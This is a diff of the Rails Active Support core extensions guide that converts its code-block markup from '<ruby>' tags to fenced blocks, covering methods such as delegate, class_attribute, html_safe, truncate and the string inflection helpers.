+```
this way:
-<ruby>
+```ruby
class Account < ActiveRecord::Base
with_options :dependent => :destroy do |assoc|
assoc.has_many :customers
@@ -393,16 +393,16 @@ class Account < ActiveRecord::Base
assoc.has_many :expenses
end
end
-</ruby>
+```
That idiom may convey _grouping_ to the reader as well. For example, say you want to send a newsletter whose language depends on the user. Somewhere in the mailer you could group locale-dependent bits like this:
-<ruby>
+```ruby
I18n.with_options :locale => user.locale, :scope => "newsletter" do |i18n|
subject i18n.t :subject
body i18n.t :body, :user_name => user.name
end
-</ruby>
+```
TIP: Since +with_options+ forwards calls to its receiver they can be nested. Each nesting level will merge inherited defaults in addition to their own.
@@ -416,7 +416,7 @@ h5. +instance_variable_names+
Ruby 1.8 and 1.9 have a method called +instance_variables+ that returns the names of the defined instance variables. But they behave differently, in 1.8 it returns strings whereas in 1.9 it returns symbols. Active Support defines +instance_variable_names+ as a portable way to obtain them as strings:
-<ruby>
+```ruby
class C
def initialize(x, y)
@x, @y = x, y
@@ -424,7 +424,7 @@ class C
end
C.new(0, 1).instance_variable_names # => ["@y", "@x"]
-</ruby>
+```
WARNING: The order in which the names are returned is unspecified, and it indeed depends on the version of the interpreter.
@@ -435,7 +435,7 @@ h5. +instance_values+
The method +instance_values+ returns a hash that maps instance variable names without "@" to their
corresponding values. Keys are strings:
-<ruby>
+```ruby
class C
def initialize(x, y)
@x, @y = x, y
@@ -443,7 +443,7 @@ class C
end
C.new(0, 1).instance_values # => {"x" => 0, "y" => 1}
-</ruby>
+```
NOTE: Defined in +active_support/core_ext/object/instance_variables.rb+.
@@ -451,34 +451,34 @@ h4. Silencing Warnings, Streams, and Exceptions
The methods +silence_warnings+ and +enable_warnings+ change the value of +$VERBOSE+ accordingly for the duration of their block, and reset it afterwards:
-<ruby>
+```ruby
silence_warnings { Object.const_set "RAILS_DEFAULT_LOGGER", logger }
-</ruby>
+```
You can silence any stream while a block runs with +silence_stream+:
-<ruby>
+```ruby
silence_stream(STDOUT) do
# STDOUT is silent here
end
-</ruby>
+```
The +quietly+ method addresses the common use case where you want to silence STDOUT and STDERR, even in subprocesses:
-<ruby>
+```ruby
quietly { system 'bundle install' }
-</ruby>
+```
For example, the railties test suite uses that one in a few places to prevent command messages from being echoed intermixed with the progress status.
Silencing exceptions is also possible with +suppress+. This method receives an arbitrary number of exception classes. If an exception is raised during the execution of the block and is +kind_of?+ any of the arguments, +suppress+ captures it and returns silently. Otherwise the exception is reraised:
-<ruby>
+```ruby
# If the user is locked the increment is lost, no big deal.
suppress(ActiveRecord::StaleObjectError) do
current_user.increment! :visits
end
-</ruby>
+```
NOTE: Defined in +active_support/core_ext/kernel/reporting.rb+.
@@ -488,13 +488,13 @@ The predicate +in?+ tests if an object is included in another object or a list o
Examples of +in?+:
-<ruby>
+```ruby
1.in?(1,2) # => true
1.in?([1,2]) # => true
"lo".in?("hello") # => true
25.in?(30..50) # => false
1.in?(1) # => ArgumentError
-</ruby>
+```
NOTE: Defined in +active_support/core_ext/object/inclusion.rb+.
@@ -506,7 +506,7 @@ Using plain Ruby you can wrap methods with other methods, that's called _alias c
For example, let's say you'd like params to be strings in functional tests, as they are in real requests, but still want the convenience of assigning integers and other kind of values. To accomplish that you could wrap +ActionController::TestCase#process+ this way in +test/test_helper.rb+:
-<ruby>
+```ruby
ActionController::TestCase.class_eval do
# save a reference to the original process method
alias_method :original_process, :process
@@ -517,13 +517,13 @@ ActionController::TestCase.class_eval do
original_process(action, params, session, flash, http_method)
end
end
-</ruby>
+```
That's the method +get+, +post+, etc., delegate the work to.
That technique has a risk, it could be the case that +:original_process+ was taken. To try to avoid collisions people choose some label that characterizes what the chaining is about:
-<ruby>
+```ruby
ActionController::TestCase.class_eval do
def process_with_stringified_params(...)
params = Hash[*params.map {|k, v| [k, v.to_s]}.flatten]
@@ -532,11 +532,11 @@ ActionController::TestCase.class_eval do
alias_method :process_without_stringified_params, :process
alias_method :process, :process_with_stringified_params
end
-</ruby>
+```
The method +alias_method_chain+ provides a shortcut for that pattern:
-<ruby>
+```ruby
ActionController::TestCase.class_eval do
def process_with_stringified_params(...)
params = Hash[*params.map {|k, v| [k, v.to_s]}.flatten]
@@ -544,7 +544,7 @@ ActionController::TestCase.class_eval do
end
alias_method_chain :process, :stringified_params
end
-</ruby>
+```
Rails uses +alias_method_chain+ all over the code base. For example validations are added to +ActiveRecord::Base#save+ by wrapping the method that way in a separate module specialized in validations.
@@ -556,13 +556,13 @@ h5. +alias_attribute+
Model attributes have a reader, a writer, and a predicate. You can alias a model attribute having the corresponding three methods defined for you in one shot. As in other aliasing methods, the new name is the first argument, and the old name is the second (my mnemonic is they go in the same order as if you did an assignment):
-<ruby>
+```ruby
class User < ActiveRecord::Base
# let me refer to the email column as "login",
# possibly meaningful for authentication code
alias_attribute :login, :email
end
-</ruby>
+```
NOTE: Defined in +active_support/core_ext/module/aliasing.rb+.
@@ -574,7 +574,7 @@ Active Support defines the macros +attr_internal_reader+, +attr_internal_writer+
The macro +attr_internal+ is a synonym for +attr_internal_accessor+:
-<ruby>
+```ruby
# library
class ThirdPartyLibrary::Crawler
attr_internal :log_level
@@ -584,7 +584,7 @@ end
class MyCrawler < ThirdPartyLibrary::Crawler
attr_accessor :log_level
end
-</ruby>
+```
In the previous example it could be the case that +:log_level+ does not belong to the public interface of the library and it is only used for development. The client code, unaware of the potential conflict, subclasses and defines its own +:log_level+. Thanks to +attr_internal+ there's no collision.
@@ -592,7 +592,7 @@ By default the internal instance variable is named with a leading underscore, +@
Rails uses internal attributes in a few spots, for examples for views:
-<ruby>
+```ruby
module ActionView
class Base
attr_internal :captures
@@ -600,7 +600,7 @@ module ActionView
attr_internal :controller, :template
end
end
-</ruby>
+```
NOTE: Defined in +active_support/core_ext/module/attr_internal.rb+.
@@ -610,7 +610,7 @@ The macros +mattr_reader+, +mattr_writer+, and +mattr_accessor+ are analogous to
For example, the dependencies mechanism uses them:
-<ruby>
+```ruby
module ActiveSupport
module Dependencies
mattr_accessor :warnings_on_first_load
@@ -627,7 +627,7 @@ module ActiveSupport
mattr_accessor :constant_watch_stack_mutex
end
end
-</ruby>
+```
NOTE: Defined in +active_support/core_ext/module/attribute_accessors.rb+.
@@ -637,7 +637,7 @@ h5. +parent+
The +parent+ method on a nested named module returns the module that contains its corresponding constant:
-<ruby>
+```ruby
module X
module Y
module Z
@@ -648,7 +648,7 @@ M = X::Y::Z
X::Y::Z.parent # => X::Y
M.parent # => X::Y
-</ruby>
+```
If the module is anonymous or belongs to the top-level, +parent+ returns +Object+.
@@ -660,7 +660,7 @@ h5. +parent_name+
The +parent_name+ method on a nested named module returns the fully-qualified name of the module that contains its corresponding constant:
-<ruby>
+```ruby
module X
module Y
module Z
@@ -671,7 +671,7 @@ M = X::Y::Z
X::Y::Z.parent_name # => "X::Y"
M.parent_name # => "X::Y"
-</ruby>
+```
For top-level or anonymous modules +parent_name+ returns +nil+.
@@ -683,7 +683,7 @@ h5(#module-parents). +parents+
The method +parents+ calls +parent+ on the receiver and upwards until +Object+ is reached. The chain is returned in an array, from bottom to top:
-<ruby>
+```ruby
module X
module Y
module Z
@@ -694,7 +694,7 @@ M = X::Y::Z
X::Y::Z.parents # => [X::Y, X, Object]
M.parents # => [X::Y, X, Object]
-</ruby>
+```
NOTE: Defined in +active_support/core_ext/module/introspection.rb+.
@@ -703,7 +703,7 @@ h4. Constants
The method +local_constants+ returns the names of the constants that have been
defined in the receiver module:
-<ruby>
+```ruby
module X
X1 = 1
X2 = 2
@@ -715,7 +715,7 @@ end
X.local_constants # => [:X1, :X2, :Y]
X::Y.local_constants # => [:Y1, :X1]
-</ruby>
+```
The names are returned as symbols. (The deprecated method +local_constant_names+ returns strings.)
@@ -731,17 +731,17 @@ The new methods are +qualified_const_defined?+, +qualified_const_get+, and
+qualified_const_set+. Their arguments are assumed to be qualified constant
names relative to their receiver:
-<ruby>
+```ruby
Object.qualified_const_defined?("Math::PI") # => true
Object.qualified_const_get("Math::PI") # => 3.141592653589793
Object.qualified_const_set("Math::Phi", 1.618034) # => 1.618034
-</ruby>
+```
Arguments may be bare constant names:
-<ruby>
+```ruby
Math.qualified_const_get("E") # => 2.718281828459045
-</ruby>
+```
These methods are analogous to their builtin counterparts. In particular,
+qualified_constant_defined?+ accepts an optional second argument to be
@@ -751,7 +751,7 @@ walking down the path.
For example, given
-<ruby>
+```ruby
module M
X = 1
end
@@ -761,15 +761,15 @@ module N
include M
end
end
-</ruby>
+```
+qualified_const_defined?+ behaves this way:
-<ruby>
+```ruby
N.qualified_const_defined?("C::X", false) # => false
N.qualified_const_defined?("C::X", true) # => true
N.qualified_const_defined?("C::X") # => true
-</ruby>
+```
As the last example implies, the second argument defaults to true,
as in +const_defined?+.
@@ -785,16 +785,16 @@ A named module is reachable if it is stored in its corresponding constant. It me
That is what ordinarily happens, if a module is called "M", the +M+ constant exists and holds it:
-<ruby>
+```ruby
module M
end
M.reachable? # => true
-</ruby>
+```
But since constants and modules are indeed kind of decoupled, module objects can become unreachable:
-<ruby>
+```ruby
module M
end
@@ -813,7 +813,7 @@ end
# The constant M exists now again, and it stores a module
# object called "M", but it is a new instance.
orphan.reachable? # => false
-</ruby>
+```
NOTE: Defined in +active_support/core_ext/module/reachable.rb+.
@@ -821,7 +821,7 @@ h4. Anonymous
A module may or may not have a name:
-<ruby>
+```ruby
module M
end
M.name # => "M"
@@ -830,21 +830,21 @@ N = Module.new
N.name # => "N"
Module.new.name # => nil
-</ruby>
+```
You can check whether a module has a name with the predicate +anonymous?+:
-<ruby>
+```ruby
module M
end
M.anonymous? # => false
Module.new.anonymous? # => true
-</ruby>
+```
Note that being unreachable does not imply being anonymous:
-<ruby>
+```ruby
module M
end
@@ -852,7 +852,7 @@ m = Object.send(:remove_const, :M)
m.reachable? # => false
m.anonymous? # => false
-</ruby>
+```
though an anonymous module is unreachable by definition.
@@ -864,15 +864,15 @@ The macro +delegate+ offers an easy way to forward methods.
Let's imagine that users in some application have login information in the +User+ model but name and other data in a separate +Profile+ model:
-<ruby>
+```ruby
class User < ActiveRecord::Base
has_one :profile
end
-</ruby>
+```
With that configuration you get a user's name via his profile, +user.profile.name+, but it could be handy to still be able to access such attribute directly:
-<ruby>
+```ruby
class User < ActiveRecord::Base
has_one :profile
@@ -880,17 +880,17 @@ class User < ActiveRecord::Base
profile.name
end
end
-</ruby>
+```
That is what +delegate+ does for you:
-<ruby>
+```ruby
class User < ActiveRecord::Base
has_one :profile
delegate :name, :to => :profile
end
-</ruby>
+```
It is shorter, and the intention more obvious.
@@ -898,35 +898,35 @@ The method must be public in the target.
The +delegate+ macro accepts several methods:
-<ruby>
+```ruby
delegate :name, :age, :address, :twitter, :to => :profile
-</ruby>
+```
When interpolated into a string, the +:to+ option should become an expression that evaluates to the object the method is delegated to. Typically a string or symbol. Such an expression is evaluated in the context of the receiver:
-<ruby>
+```ruby
# delegates to the Rails constant
delegate :logger, :to => :Rails
# delegates to the receiver's class
delegate :table_name, :to => 'self.class'
-</ruby>
+```
WARNING: If the +:prefix+ option is +true+ this is less generic, see below.
By default, if the delegation raises +NoMethodError+ and the target is +nil+ the exception is propagated. You can ask that +nil+ is returned instead with the +:allow_nil+ option:
-<ruby>
+```ruby
delegate :name, :to => :profile, :allow_nil => true
-</ruby>
+```
With +:allow_nil+ the call +user.name+ returns +nil+ if the user has no profile.
The option +:prefix+ adds a prefix to the name of the generated method. This may be handy for example to get a better name:
-<ruby>
+```ruby
delegate :street, :to => :address, :prefix => true
-</ruby>
+```
The previous example generates +address_street+ rather than +street+.
@@ -934,9 +934,9 @@ WARNING: Since in this case the name of the generated method is composed of the
A custom prefix may also be configured:
-<ruby>
+```ruby
delegate :size, :to => :attachment, :prefix => :avatar
-</ruby>
+```
In the previous example the macro generates +avatar_size+ rather than +size+.
@@ -948,7 +948,7 @@ There are cases where you need to define a method with +define_method+, but don'
The method +redefine_method+ prevents such a potential warning, removing the existing method before if needed. Rails uses it in a few places, for instance when it generates an association's API:
-<ruby>
+```ruby
redefine_method("#{reflection.name}=") do |new_value|
association = association_instance_get(reflection.name)
@@ -959,7 +959,7 @@ redefine_method("#{reflection.name}=") do |new_value|
association.replace(new_value)
association_instance_set(reflection.name, new_value.nil? ? nil : association)
end
-</ruby>
+```
NOTE: Defined in +active_support/core_ext/module/remove_method.rb+
@@ -971,7 +971,7 @@ h5. +class_attribute+
The method +class_attribute+ declares one or more inheritable class attributes that can be overridden at any level down the hierarchy.
-<ruby>
+```ruby
class A
class_attribute :x
end
@@ -991,11 +991,11 @@ C.x # => :b
C.x = :c
A.x # => :a
B.x # => :b
-</ruby>
+```
For example +ActionMailer::Base+ defines:
-<ruby>
+```ruby
class_attribute :default_params
self.default_params = {
:mime_version => "1.0",
@@ -1003,11 +1003,11 @@ self.default_params = {
:content_type => "text/plain",
:parts_order => [ "text/plain", "text/enriched", "text/html" ]
}.freeze
-</ruby>
+```
They can be also accessed and overridden at the instance level.
-<ruby>
+```ruby
A.x = 1
a1 = A.new
@@ -1016,30 +1016,30 @@ a2.x = 2
a1.x # => 1, comes from A
a2.x # => 2, overridden in a2
-</ruby>
+```
The generation of the writer instance method can be prevented by setting the option +:instance_writer+ to +false+.
-<ruby>
+```ruby
module ActiveRecord
class Base
class_attribute :table_name_prefix, :instance_writer => false
self.table_name_prefix = ""
end
end
-</ruby>
+```
A model may find that option useful as a way to prevent mass-assignment from setting the attribute.
The generation of the reader instance method can be prevented by setting the option +:instance_reader+ to +false+.
-<ruby>
+```ruby
class A
class_attribute :x, :instance_reader => false
end
A.new.x = 1 # NoMethodError
-</ruby>
+```
For convenience +class_attribute+ also defines an instance predicate which is the double negation of what the instance reader returns. In the examples above it would be called +x?+.
@@ -1051,30 +1051,30 @@ h5. +cattr_reader+, +cattr_writer+, and +cattr_accessor+
The macros +cattr_reader+, +cattr_writer+, and +cattr_accessor+ are analogous to their +attr_*+ counterparts but for classes. They initialize a class variable to +nil+ unless it already exists, and generate the corresponding class methods to access it:
-<ruby>
+```ruby
class MysqlAdapter < AbstractAdapter
# Generates class methods to access @@emulate_booleans.
cattr_accessor :emulate_booleans
self.emulate_booleans = true
end
-</ruby>
+```
Instance methods are created as well for convenience, they are just proxies to the class attribute. So, instances can change the class attribute, but cannot override it as it happens with +class_attribute+ (see above). For example given
-<ruby>
+```ruby
module ActionView
class Base
cattr_accessor :field_error_proc
@@field_error_proc = Proc.new{ ... }
end
end
-</ruby>
+```
we can access +field_error_proc+ in views.
The generation of the reader instance method can be prevented by setting +:instance_reader+ to +false+ and the generation of the writer instance method can be prevented by setting +:instance_writer+ to +false+. Generation of both methods can be prevented by setting +:instance_accessor+ to +false+. In all cases, the value must be exactly +false+ and not any false value.
-<ruby>
+```ruby
module A
class B
# No first_name instance reader is generated.
@@ -1085,7 +1085,7 @@ module A
cattr_accessor :surname, :instance_accessor => false
end
end
-</ruby>
+```
A model may find it useful to set +:instance_accessor+ to +false+ as a way to prevent mass-assignment from setting the attribute.
@@ -1097,7 +1097,7 @@ h5. +subclasses+
The +subclasses+ method returns the subclasses of the receiver:
-<ruby>
+```ruby
class C; end
C.subclasses # => []
@@ -1109,7 +1109,7 @@ C.subclasses # => [B]
class D < C; end
C.subclasses # => [B, D]
-</ruby>
+```
The order in which these classes are returned is unspecified.
@@ -1121,7 +1121,7 @@ h5. +descendants+
The +descendants+ method returns all classes that are <tt>&lt;</tt> than its receiver:
-<ruby>
+```ruby
class C; end
C.descendants # => []
@@ -1133,7 +1133,7 @@ C.descendants # => [B, A]
class D < C; end
C.descendants # => [B, A, D]
-</ruby>
+```
The order in which these classes are returned is unspecified.
@@ -1153,64 +1153,64 @@ Active Support has the concept of <i>(html) safe</i> strings since Rails 3. A sa
Strings are considered to be <i>unsafe</i> by default:
-<ruby>
+```ruby
"".html_safe? # => false
-</ruby>
+```
You can obtain a safe string from a given one with the +html_safe+ method:
-<ruby>
+```ruby
s = "".html_safe
s.html_safe? # => true
-</ruby>
+```
It is important to understand that +html_safe+ performs no escaping whatsoever, it is just an assertion:
-<ruby>
+```ruby
s = "<script>...</script>".html_safe
s.html_safe? # => true
s # => "<script>...</script>"
-</ruby>
+```
It is your responsibility to ensure calling +html_safe+ on a particular string is fine.
If you append onto a safe string, either in-place with +concat+/<tt><<</tt>, or with <tt>+</tt>, the result is a safe string. Unsafe arguments are escaped:
-<ruby>
+```ruby
"".html_safe + "<" # => "&lt;"
-</ruby>
+```
Safe arguments are directly appended:
-<ruby>
+```ruby
"".html_safe + "<".html_safe # => "<"
-</ruby>
+```
These methods should not be used in ordinary views. In Rails 3 unsafe values are automatically escaped:
-<erb>
+```erb
<%= @review.title %> <%# fine in Rails 3, escaped if needed %>
-</erb>
+```
To insert something verbatim use the +raw+ helper rather than calling +html_safe+:
-<erb>
+```erb
<%= raw @cms.current_template %> <%# inserts @cms.current_template as is %>
-</erb>
+```
or, equivalently, use <tt><%==</tt>:
-<erb>
+```erb
<%== @cms.current_template %> <%# inserts @cms.current_template as is %>
-</erb>
+```
The +raw+ helper calls +html_safe+ for you:
-<ruby>
+```ruby
def raw(stringish)
stringish.to_s.html_safe
end
-</ruby>
+```
NOTE: Defined in +active_support/core_ext/string/output_safety.rb+.
@@ -1234,9 +1234,9 @@ h4. +squish+
The method +squish+ strips leading and trailing whitespace, and substitutes runs of whitespace with a single space each:
-<ruby>
+```ruby
" \n foo\n\r \t bar \n".squish # => "foo bar"
-</ruby>
+```
There's also the destructive version +String#squish!+.
@@ -1246,35 +1246,35 @@ h4. +truncate+
The method +truncate+ returns a copy of its receiver truncated after a given +length+:
-<ruby>
+```ruby
"Oh dear! Oh dear! I shall be late!".truncate(20)
# => "Oh dear! Oh dear!..."
-</ruby>
+```
Ellipsis can be customized with the +:omission+ option:
-<ruby>
+```ruby
"Oh dear! Oh dear! I shall be late!".truncate(20, :omission => '&hellip;')
# => "Oh dear! Oh &hellip;"
-</ruby>
+```
Note in particular that truncation takes into account the length of the omission string.
Pass a +:separator+ to truncate the string at a natural break:
-<ruby>
+```ruby
"Oh dear! Oh dear! I shall be late!".truncate(18)
# => "Oh dear! Oh dea..."
"Oh dear! Oh dear! I shall be late!".truncate(18, :separator => ' ')
# => "Oh dear! Oh..."
-</ruby>
+```
The option +:separator+ can be a regexp:
-<ruby>
+```ruby
"Oh dear! Oh dear! I shall be late!".truncate(18, :separator => /\s/)
# => "Oh dear! Oh..."
-</ruby>
+```
In above examples "dear" gets cut first, but then +:separator+ prevents it.
@@ -1284,19 +1284,19 @@ h4. +inquiry+
The <tt>inquiry</tt> method converts a string into a +StringInquirer+ object making equality checks prettier.
-<ruby>
+```ruby
"production".inquiry.production? # => true
"active".inquiry.inactive? # => false
-</ruby>
+```
h4. +starts_with?+ and +ends_with?+
Active Support defines 3rd person aliases of +String#start_with?+ and +String#end_with?+:
-<ruby>
+```ruby
"foo".starts_with?("f") # => true
"foo".ends_with?("o") # => true
-</ruby>
+```
NOTE: Defined in +active_support/core_ext/string/starts_ends_with.rb+.
@@ -1306,7 +1306,7 @@ The method +strip_heredoc+ strips indentation in heredocs.
For example in
-<ruby>
+```ruby
if options[:usage]
puts <<-USAGE.strip_heredoc
This command does such and such.
@@ -1316,7 +1316,7 @@ if options[:usage]
...
USAGE
end
-</ruby>
+```
the user would see the usage message aligned against the left margin.
@@ -1329,7 +1329,7 @@ h4. +indent+
Indents the lines in the receiver:
-<ruby>
+```ruby
<<EOS.indent(2)
def some_method
some_code
@@ -1339,24 +1339,24 @@ EOS
def some_method
some_code
end
-</ruby>
+```
The second argument, +indent_string+, specifies which indent string to use. The default is +nil+, which tells the method to make an educated guess peeking at the first indented line, and fallback to a space if there is none.
-<ruby>
+```ruby
" foo".indent(2) # => " foo"
"foo\n\t\tbar".indent(2) # => "\t\tfoo\n\t\t\t\tbar"
"foo".indent(2, "\t") # => "\t\tfoo"
-</ruby>
+```
While +indent_string+ is tipically one space or tab, it may be any string.
The third argument, +indent_empty_lines+, is a flag that says whether empty lines should be indented. Default is false.
-<ruby>
+```ruby
"foo\n\nbar".indent(2) # => " foo\n\n bar"
"foo\n\nbar".indent(2, nil, true) # => " foo\n \n bar"
-</ruby>
+```
The +indent!+ method performs indentation in-place.
@@ -1366,12 +1366,12 @@ h5. +at(position)+
Returns the character of the string at position +position+:
-<ruby>
+```ruby
"hello".at(0) # => "h"
"hello".at(4) # => "o"
"hello".at(-1) # => "o"
"hello".at(10) # => nil
-</ruby>
+```
NOTE: Defined in +active_support/core_ext/string/access.rb+.
@@ -1379,12 +1379,12 @@ h5. +from(position)+
Returns the substring of the string starting at position +position+:
-<ruby>
+```ruby
"hello".from(0) # => "hello"
"hello".from(2) # => "llo"
"hello".from(-2) # => "lo"
"hello".from(10) # => "" if < 1.9, nil in 1.9
-</ruby>
+```
NOTE: Defined in +active_support/core_ext/string/access.rb+.
@@ -1392,12 +1392,12 @@ h5. +to(position)+
Returns the substring of the string up to position +position+:
-<ruby>
+```ruby
"hello".to(0) # => "h"
"hello".to(2) # => "hel"
"hello".to(-2) # => "hell"
"hello".to(10) # => "hello"
-</ruby>
+```
NOTE: Defined in +active_support/core_ext/string/access.rb+.
@@ -1419,32 +1419,32 @@ h5. +pluralize+
The method +pluralize+ returns the plural of its receiver:
-<ruby>
+```ruby
"table".pluralize # => "tables"
"ruby".pluralize # => "rubies"
"equipment".pluralize # => "equipment"
-</ruby>
+```
As the previous example shows, Active Support knows some irregular plurals and uncountable nouns. Built-in rules can be extended in +config/initializers/inflections.rb+. That file is generated by the +rails+ command and has instructions in comments.
+pluralize+ can also take an optional +count+ parameter. If <tt>count == 1</tt> the singular form will be returned. For any other value of +count+ the plural form will be returned:
-<ruby>
+```ruby
"dude".pluralize(0) # => "dudes"
"dude".pluralize(1) # => "dude"
"dude".pluralize(2) # => "dudes"
-</ruby>
+```
Active Record uses this method to compute the default table name that corresponds to a model:
-<ruby>
+```ruby
# active_record/base.rb
def undecorated_table_name(class_name = base_class.name)
table_name = class_name.to_s.demodulize.underscore
table_name = table_name.pluralize if pluralize_table_names
table_name
end
-</ruby>
+```
NOTE: Defined in +active_support/core_ext/string/inflections.rb+.
@@ -1452,22 +1452,22 @@ h5. +singularize+
The inverse of +pluralize+:
-<ruby>
+```ruby
"tables".singularize # => "table"
"rubies".singularize # => "ruby"
"equipment".singularize # => "equipment"
-</ruby>
+```
Associations compute the name of the corresponding default associated class using this method:
-<ruby>
+```ruby
# active_record/reflection.rb
def derive_class_name
class_name = name.to_s.camelize
class_name = class_name.singularize if collection?
class_name
end
-</ruby>
+```
NOTE: Defined in +active_support/core_ext/string/inflections.rb+.
@@ -1475,45 +1475,45 @@ h5. +camelize+
The method +camelize+ returns its receiver in camel case:
-<ruby>
+```ruby
"product".camelize # => "Product"
"admin_user".camelize # => "AdminUser"
-</ruby>
+```
As a rule of thumb you can think of this method as the one that transforms paths into Ruby class or module names, where slashes separate namespaces:
-<ruby>
+```ruby
"backoffice/session".camelize # => "Backoffice::Session"
-</ruby>
+```
For example, Action Pack uses this method to load the class that provides a certain session store:
-<ruby>
+```ruby
# action_controller/metal/session_management.rb
def session_store=(store)
@@session_store = store.is_a?(Symbol) ?
ActionDispatch::Session.const_get(store.to_s.camelize) :
store
end
-</ruby>
+```
+camelize+ accepts an optional argument, it can be +:upper+ (default), or +:lower+. With the latter the first letter becomes lowercase:
-<ruby>
+```ruby
"visual_effect".camelize(:lower) # => "visualEffect"
-</ruby>
+```
That may be handy to compute method names in a language that follows that convention, for example JavaScript.
INFO: As a rule of thumb you can think of +camelize+ as the inverse of +underscore+, though there are cases where that does not hold: <tt>"SSLError".underscore.camelize</tt> gives back <tt>"SslError"</tt>. To support cases such as this, Active Support allows you to specify acronyms in +config/initializers/inflections.rb+:
-<ruby>
+```ruby
ActiveSupport::Inflector.inflections do |inflect|
inflect.acronym 'SSL'
end
"SSLError".underscore.camelize #=> "SSLError"
-</ruby>
+```
+camelize+ is aliased to +camelcase+.
@@ -1523,28 +1523,28 @@ h5. +underscore+
The method +underscore+ goes the other way around, from camel case to paths:
-<ruby>
+```ruby
"Product".underscore # => "product"
"AdminUser".underscore # => "admin_user"
-</ruby>
+```
Also converts "::" back to "/":
-<ruby>
+```ruby
"Backoffice::Session".underscore # => "backoffice/session"
-</ruby>
+```
and understands strings that start with lowercase:
-<ruby>
+```ruby
"visualEffect".underscore # => "visual_effect"
-</ruby>
+```
+underscore+ accepts no argument though.
Rails class and module autoloading uses +underscore+ to infer the relative path without extension of a file that would define a given missing constant:
-<ruby>
+```ruby
# active_support/dependencies.rb
def load_missing_constant(from_mod, const_name)
...
@@ -1552,7 +1552,7 @@ def load_missing_constant(from_mod, const_name)
path_suffix = qualified_name.underscore
...
end
-</ruby>
+```
INFO: As a rule of thumb you can think of +underscore+ as the inverse of +camelize+, though there are cases where that does not hold. For example, <tt>"SSLError".underscore.camelize</tt> gives back <tt>"SslError"</tt>.
@@ -1562,10 +1562,10 @@ h5. +titleize+
The method +titleize+ capitalizes the words in the receiver:
-<ruby>
+```ruby
"alice in wonderland".titleize # => "Alice In Wonderland"
"fermat's enigma".titleize # => "Fermat's Enigma"
-</ruby>
+```
+titleize+ is aliased to +titlecase+.
@@ -1575,20 +1575,20 @@ h5. +dasherize+
The method +dasherize+ replaces the underscores in the receiver with dashes:
-<ruby>
+```ruby
"name".dasherize # => "name"
"contact_data".dasherize # => "contact-data"
-</ruby>
+```
The XML serializer of models uses this method to dasherize node names:
-<ruby>
+```ruby
# active_model/serializers/xml.rb
def reformat_name(name)
name = name.camelize if camelize?
dasherize? ? name.dasherize : name
end
-</ruby>
+```
NOTE: Defined in +active_support/core_ext/string/inflections.rb+.
@@ -1596,15 +1596,15 @@ h5. +demodulize+
Given a string with a qualified constant name, +demodulize+ returns the very constant name, that is, the rightmost part of it:
-<ruby>
+```ruby
"Product".demodulize # => "Product"
"Backoffice::UsersController".demodulize # => "UsersController"
"Admin::Hotel::ReservationUtils".demodulize # => "ReservationUtils"
-</ruby>
+```
Active Record for example uses this method to compute the name of a counter cache column:
-<ruby>
+```ruby
# active_record/reflection.rb
def counter_cache_column
if options[:counter_cache] == true
@@ -1613,7 +1613,7 @@ def counter_cache_column
options[:counter_cache]
end
end
-</ruby>
+```
NOTE: Defined in +active_support/core_ext/string/inflections.rb+.
@@ -1621,15 +1621,15 @@ h5. +deconstantize+
Given a string with a qualified constant reference expression, +deconstantize+ removes the rightmost segment, generally leaving the name of the constant's container:
-<ruby>
+```ruby
"Product".deconstantize # => ""
"Backoffice::UsersController".deconstantize # => "Backoffice"
"Admin::Hotel::ReservationUtils".deconstantize # => "Admin::Hotel"
-</ruby>
+```
Active Support for example uses this method in +Module#qualified_const_set+:
-<ruby>
+```ruby
def qualified_const_set(path, value)
QualifiedConstUtils.raise_if_absolute(path)
@@ -1638,7 +1638,7 @@ def qualified_const_set(path, value)
mod = mod_name.empty? ? self : qualified_const_get(mod_name)
mod.const_set(const_name, value)
end
-</ruby>
+```
NOTE: Defined in +active_support/core_ext/string/inflections.rb+.
@@ -1646,10 +1646,10 @@ h5. +parameterize+
The method +parameterize+ normalizes its receiver in a way that can be used in pretty URLs.
-<ruby>
+```ruby
"John Smith".parameterize # => "john-smith"
"Kurt Gödel".parameterize # => "kurt-godel"
-</ruby>
+```
In fact, the result string is wrapped in an instance of +ActiveSupport::Multibyte::Chars+.
@@ -1659,11 +1659,11 @@ h5. +tableize+
The method +tableize+ is +underscore+ followed by +pluralize+.
-<ruby>
+```ruby
"Person".tableize # => "people"
"Invoice".tableize # => "invoices"
"InvoiceLine".tableize # => "invoice_lines"
-</ruby>
+```
As a rule of thumb, +tableize+ returns the table name that corresponds to a given model for simple cases. The actual implementation in Active Record is not straight +tableize+ indeed, because it also demodulizes the class name and checks a few options that may affect the returned string.
@@ -1673,17 +1673,17 @@ h5. +classify+
The method +classify+ is the inverse of +tableize+. It gives you the class name corresponding to a table name:
-<ruby>
+```ruby
"people".classify # => "Person"
"invoices".classify # => "Invoice"
"invoice_lines".classify # => "InvoiceLine"
-</ruby>
+```
The method understands qualified table names:
-<ruby>
+```ruby
"highrise_production.companies".classify # => "Company"
-</ruby>
+```
Note that +classify+ returns a class name as a string. You can get the actual class object invoking +constantize+ on it, explained next.
@@ -1693,20 +1693,20 @@ h5. +constantize+
The method +constantize+ resolves the constant reference expression in its receiver:
-<ruby>
+```ruby
"Fixnum".constantize # => Fixnum
module M
X = 1
end
"M::X".constantize # => 1
-</ruby>
+```
If the string evaluates to no known constant, or its content is not even a valid constant name, +constantize+ raises +NameError+.
Constant name resolution by +constantize+ starts always at the top-level +Object+ even if there is no leading "::".
-<ruby>
+```ruby
X = :in_Object
module M
X = :in_M
@@ -1715,20 +1715,20 @@ module M
"::X".constantize # => :in_Object
"X".constantize # => :in_Object (!)
end
-</ruby>
+```
So, it is in general not equivalent to what Ruby would do in the same spot, had a real constant be evaluated.
Mailer test cases obtain the mailer being tested from the name of the test class using +constantize+:
-<ruby>
+```ruby
# action_mailer/test_case.rb
def determine_default_mailer(name)
name.sub(/Test$/, '').constantize
rescue NameError => e
raise NonInferrableMailerError.new(name)
end
-</ruby>
+```
NOTE: Defined in +active_support/core_ext/string/inflections.rb+.
@@ -1736,15 +1736,15 @@ h5. +humanize+
The method +humanize+ gives you a sensible name for display out of an attribute name. To do so it replaces underscores with spaces, removes any "_id" suffix, and capitalizes the first word:
-<ruby>
+```ruby
"name".humanize # => "Name"
"author_id".humanize # => "Author"
"comments_count".humanize # => "Comments count"
-</ruby>
+```
The helper method +full_messages+ uses +humanize+ as a fallback to include attribute names:
-<ruby>
+```ruby
def full_messages
full_messages = []
@@ -1757,7 +1757,7 @@ def full_messages
full_messages
end
-</ruby>
+```
